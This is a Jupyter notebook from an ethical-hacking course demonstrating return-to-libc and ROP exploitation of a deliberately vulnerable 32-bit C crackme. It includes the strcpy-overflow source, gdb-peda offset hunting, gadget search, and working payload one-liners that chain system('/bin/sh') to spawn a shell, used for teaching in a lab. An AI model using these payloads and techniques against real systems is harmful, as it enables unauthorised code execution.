<jupyter_start><jupyter_text>Return Oriented Programming (ROP)- [https://en.wikipedia.org/wiki/Return-oriented_programming](https://en.wikipedia.org/wiki/Return-oriented_programming)- [Return-Oriented Programming: Systems, Languages, and Applications](https://hovav.net/ucsd/dist/rop.pdf)- advanced version of stack overflow or stack smashing attack- a security exploit technqiue that allows an attacker to execute code in the presence of security defenses such as executable protection and code signing- attackers hijack's the program return control flow and the executes carefully chosen machine instruction sequences that are already present in the machine's memory, called `gadgets` Return-to-libc attack- if stack propery is set as RW (Read and Write, by default), it is impossible to smuggle the shellcode into buffer and use it to exploit the vulnerable program- shared libraries such as libc, often contain subroutines for performing system system calls and other functionality potentially useful to an attacker- we'll use c-program for this demonstration because most CTF platforms use C programs- in `return-to-libc` attack, attacker chooses available library function and overwrities the return address with its entry location- function calls can be carefully combined and chained using the `rop gadgets`- to make the demo easier, the `ctf-demos/rop1/vuln.c `program already exposes `system()`, and `printf()` inn libc and `main()` addresses in the when the program is loaded in memory    - NOTE: the program and note is adapted from: [https://tc.gts3.org/cs6265/2019/tut/tut06-01-rop.html](https://tc.gts3.org/cs6265/2019/tut/tut06-01-rop.html)<jupyter_code>! cat ctf-demos/rop1/vuln.c<jupyter_output>#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h> // dlsym()
#include <string.h>
#include <unistd.h> // read()

//https://tldp.org/HOWTO/Program-Library-HOWTO/dl-libraries.html

void start(char *data) {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[32];
  //memset(buf, 0, sizeof(buf));
  //read(0, buf, 256);
  strcpy(buf, data);
  printf("Entered: %s\n", buf);
  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[])
{
  void *self = dlopen(NULL, RTLD_NOW);
  printf("stack   : %p\n", &argc);
  printf("system(): %p\n", dlsym(self, "system"));
  printf("printf(): %p\n", dlsym(self, "printf"));
  printf("exit(): %p\n", dlsym(self, "exit"));
  printf("main(): %p\n", &main);
  //printf("return: %p\n", dlsym(self, "return"));
  //system("/bin/sh");
  start(argv[1]);
  printf("Good bye!\n");
  return 0;
}<jupyter_text>- use the Makefile provided in the `ctf-demos/rop1` folder to compile the c program- note that the gcc compiler switch `-z execstack` is removed from the Makefile    - this make the stack RW only thus protecting from smuggling attacker's arbitrary code```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ sudo make must run make with sudo to disable randomaize_va_spaceecho 0 | tee /proc/sys/kernel/randomize_va_spacegcc -g -Wall -m32 -fno-stack-protector -no-pie vuln.c  -o vuln.exe  -ldl```- double check to make sure NX is enabled    - one can't place shellcode neither in stack no heap- however, stack protector is disabled allowing us to still hijack the control flow```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ checksec vuln.exe                                                                                  2 ⨯[*] '/home/kali/EthicalHacking/ctf-demos/rop1/vuln.exe'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)```- run and crash the program to confirm overflow vulnerability```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe AAAAstack   : 0xffffc3f0system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAInvalid Password!Good bye!```- try with longer data```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe $(python -c 'print("A"*100)')stack   : 0xffffc390system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAInvalid Password!zsh: segmentation fault  ./vuln.exe $(python -c 'print("A"*100)')```- check the EIP value when the program crashed```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ dmesg...[44824.285344] vuln.exe[23971]: segfault at 41414141 ip 0000000041414141 sp 00000000ffffc340 error 14 in libc-2.31.so[f7dc2000+1d000] ...```- notice 41414141 is the value of EIP when the function tries to return to this address- let's try to return to main() with argument the address of "/bin/sh"- payload should look like this:```[data  ][...   ][ra    ] -> main()```- find the offset to the return address or EIP using gdb-peda```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ gdb -q vuln.exe                 Reading symbols from vuln.exe...gdb-peda$ pattern arg 200Set 1 arguments to programgdb-peda$ run...[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41414641 in ?? ()gdb-peda$ pattsRegisters contain pattern buffer:ECX+52 found at offset: 69EDX+52 found at offset: 69EBX+0 found at offset: 36EBP+0 found at offset: 40EIP+0 found at offset: 44Registers point to pattern buffer:[ESP] --> offset 48 - size ~152[ESI] --> offset 128 - size ~72Pattern buffer found at:0x0804d1b2 : offset    0 - size  200 ([heap])0xf7fb00a9 : offset 33208 - size    4 (/usr/lib32/libdl-2.31.so)0xffffc240 : offset    0 - size  200 ($sp + -0x30 [-12 dwords])0xffffc5ed : offset    0 - size  200 ($sp + 0x37d [223 dwords])References to pattern buffer found at:0xffffc368 : 0xffffc5ed ($sp + 0xf8 [62 dwords])```- 44 is the offset to EIP that get's us to the return address from the buffer's base address```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe $(python -c 'import sys; sys.stdout.buffer.write(b"A"*44+b"\x56\x92\x04\x08")')                   139 ⨯stack   : 0xffffc3c0system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV�Invalid Password!stack   : 0xffffc374system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256zsh: segmentation fault  ./vuln.exe ```- note the main is called right after Invalid Password! is printed and we get segfault after that- let's print out "Password OK :)"- payload should look like this:```  [data  ]  [..... ]  [ra    ] -> printf()  [dummy ]  [arg1  ] -> "Password OK :)"```- printf() address is already printed, now we need to find the address of the literal string "Password OK :)" in the program- we'll use gdb-peda's find function- for dummy value we can use the exit() address and simply exit the program```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ gdb -q vuln.exe                                                                           Reading symbols from vuln.exe...gdb-peda$ rungdb-peda$ find "Password OK :)"Searching for 'Password OK :)' in: None rangesFound 2 results, display max 2 items:vuln.exe : 0x804a03e ("Password OK :)")vuln.exe : 0x804b03e ("Password OK :)")```- can use one of the addresses found; let's use the first address found```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe $(python -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x80\x5f\xe1\xf7" + b"\xb0\x98\xdf\xf7" + b"\x3e\xa0\x04\x08")')stack   : 0xffffc3c0system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�_������>�Invalid Password!Password OK :)```- we forced the program to print "Password OK :)" string instead of "Invalid Password!"  Your first ROP- force the vulnerable program execute to system function, e.g.:```system("/bin/sh")```- we need the address of `system()` and the address of `"/bin/sh"`- address of `system()` is already leaked but can also be found using gdb-peda- address of `"/bin/sh"` can be found in `libc` library loaded along with the program in memory- we can use gdb-peda to find the address of such strings to be used as argument to system```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ gdb -q vuln.exeReading symbols from vuln.exe...gdb-peda$ run...gdb-peda$ find "/bin/sh" libcSearching for '/bin/sh' in: libc rangesFound 1 results, display max 1 items:libc : 0xf7f4e33c ("/bin/sh")gdb-peda$ p system$1 = {} 0xf7e06f60 gdb-peda$ p exit$2 = {} 0xf7df98b0 gdb-peda$ p main$3 = {int (int, char **)} 0x8049256 gdb-peda$ p printf$4 = {} 0xf7e15f80 ```- now we've all the pointers, let's create our payload```┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe $(python -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x60\x6f\xe0\xf7" + b"\xb0\x98\xdf\xf7" + b"\x3c\xe3\xf4\xf7")')stack   : 0xffffc3c0system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`o������<���Invalid Password!$ whoamikali$ lscore      exploit.bin  Makefile     peda-session-demo.exe.txt  ropchain  vuln.exedemo.exe  exploit.py   pattern.txt  peda-session-vuln.exe.txt  vuln.c$ exit```  ROP Chain- find and chain `pop, ret` instructions called gadgets to keep maintaining our payloads    - hence the the name return-oriented programming (ROP)    - think about:```  [buf      ]  [.....    ]  [old-ra   ] -> 1) func1  [ra       ] -------------------> 2) func2  [old-arg1 ] -> 1) arg1  [arg1     ] -> arg1    1) func1(arg1)  2) func2(arg1)  3) crash @func1's arg1 (old-arg1) ```- after func2(arg1), `old-arg1` will be our next return address in the payload- a neat trick is to use `pop/ret` gadget```  [buf      ]  [.....    ]  [old-ra   ] -> 1) func1  [ra       ] ------------------> pop/ret gadget  [old-arg1 ] -> 1) arg1  [dummy    ]  * crash at dummy!  ```  - in this case, after func1(arg1), it returns to 'pop/ret' instructions, which 1) pop 'old-arg1' (note the stack pointer points to 'dummy') and 2) returns again (i.e., crashing at dummy)- we can chain func2 by hijacking its control-flow to func2```  [buf      ]  [.....    ]  [old-ra   ] -> 1) func1  [ra       ] ------------------> pop/ret gadget  [old-arg1 ] -> 1) arg1  [ra       ] -> func2  [dummy    ]  [arg1     ] -> arg1```- let's search for `pop/ret` gadgets using ropper program    - there are many `pop/ret` instructions in a given program```bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ropper -f ./vuln.exe...0x0804901e: pop ebx; ret;...155 gadgets found```- let's chain the gadgets to create the final payload that looks like the following```  [buf      ]  [.....    ]  [old-ra   ] -> 1) system  [ra       ] -----------------> pop/ret  [old-arg1 ] -> 1) "/bin/sh"  [ra       ] -> 2) exit  [dummy    ]  [arg1     ] -> 0``````bash┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$ ./vuln.exe $(python -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x60\x6f\xe0\xf7" + b"\x1e\x90\x04\x08" + b"\x3c\xe3\xf4\xf7" + b"\xb0\x98\xdf\xf7" + b"AAAA" + b"0")')stack   : 0xffffc3b0system(): 0xf7e06f60printf(): 0xf7e15f80exit(): 0xf7df98b0main(): 0x8049256IOLI Crackme Level 0x00Password:Entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`o��<�������AAAA0Invalid Password!$ whoamikali$ exit┌──(kali㉿K)-[~/EthicalHacking/ctf-demos/rop1]└─$     ```  Exercise- Chain three functions and invoke one at a time in a sequence listed below:```Cprintf("Password OK :)")system("/bin/sh")exit(0)```  ROP with Pwntools- pwntools can be used to exploit stackoverflow with ROP technique- let's use `ctf-demos/rop2/vuln.c` program to demostrate pwntools- also see this YouTube video - [https://www.youtube.com/watch?v=gWU2yOu0COk&ab_channel=ChristopherSchafer](https://www.youtube.com/watch?v=gWU2yOu0COk&ab_channel=ChristopherSchafer)- since the exploit doesn't rely on any static addresses, it's reliable enough that it'll work even if ASLR is turned off- let's turn the ASLR off<jupyter_code>! echo kali | sudo -S bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'
! echo kali | sudo -S cat /proc/sys/kernel/randomize_va_space<jupyter_output>[sudo] password for kali: 2
{'fraction_non_alphanumeric': 0.1562726321718838, 'fraction_numerical': 0.05351251307636598, 'mean_word_length': 3.7308717167872096, 'pattern_counts': {'":': 0, '<': 14, '<?xml version=': 0, '>': 36, 'https://': 8, 'lorem ipsum': 0, 'www.': 2, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 7, 'word_list_counts': {'cursed_substrings.json': 14, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '2', 'dir': 'jupyter-structured-clean-dedup', 'id': '491199', 'license': 'MIT', 'n_tokens_mistral': 4822, 'n_tokens_neox': 4262, 'n_words': 1249, 'path': 'ROP.ipynb', 'repo_name': 'rambasnet/EthicalHacking', 'size': '12427'}